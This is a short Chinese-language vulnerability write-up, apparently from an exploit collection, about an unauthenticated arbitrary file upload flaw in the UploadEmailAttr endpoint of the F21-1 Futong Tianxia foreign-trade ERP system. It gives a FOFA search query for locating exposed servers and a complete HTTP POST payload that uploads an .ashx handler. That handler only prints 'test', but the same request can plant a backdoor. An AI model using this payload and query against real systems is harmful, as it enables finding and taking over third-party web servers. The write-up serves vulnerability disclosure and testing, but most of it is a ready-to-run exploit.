F21-1富通天下-ERP系统-文件上传

漏洞描述：

某外贸ERP UploadEmailAttr接口处存在任意文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

网站图片：

网络测绘：

fofa语法：

body="/Content/images/login_logo_03.png"

漏洞复现：

payload：

```
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
}
```

效果图: